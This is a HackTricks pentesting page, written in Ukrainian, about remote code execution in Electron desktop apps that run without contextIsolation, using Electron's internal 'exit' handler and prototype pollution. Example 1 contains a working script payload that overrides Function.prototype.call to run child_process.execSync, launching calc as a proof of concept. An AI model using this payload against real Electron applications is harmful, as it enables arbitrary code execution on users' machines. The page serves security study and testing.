hacktricks/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md

60 lines
2.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Electron contextIsolation RCE через внутрішній код Electron
{{#include ../../../banners/hacktricks-training.md}}
## Приклад 1
Приклад з [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)
Слухач події "exit" завжди встановлюється внутрішнім кодом, коли починається завантаження сторінки. Ця подія виводиться безпосередньо перед навігацією:
```javascript
process.on("exit", function () {
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})
```
{{#ref}}
https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36
{{#endref}}
![](<../../../images/image (1070).png>)
https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- Більше не існує
Потім це переходить сюди:
![](<../../../images/image (793).png>)
Де "self" є об'єктом процесу Node:
![](<../../../images/image (700).png>)
Об'єкт процесу має посилання на функцію "require":
```
process.mainModule.require
```
Оскільки handler.call отримує об'єкт процесу, ми можемо перезаписати його для виконання довільного коду:
```html
<script>
Function.prototype.call = function (process) {
process.mainModule.require("child_process").execSync("calc")
}
location.reload() //Trigger the "exit" event
</script>
```
## Приклад 2
Отримати **об'єкт require з забруднення прототипу**. З [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
Витік:
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
Експлуатація:
<figure><img src="../../../images/image (89).png" alt=""><figcaption></figcaption></figure>
{{#include ../../../banners/hacktricks-training.md}}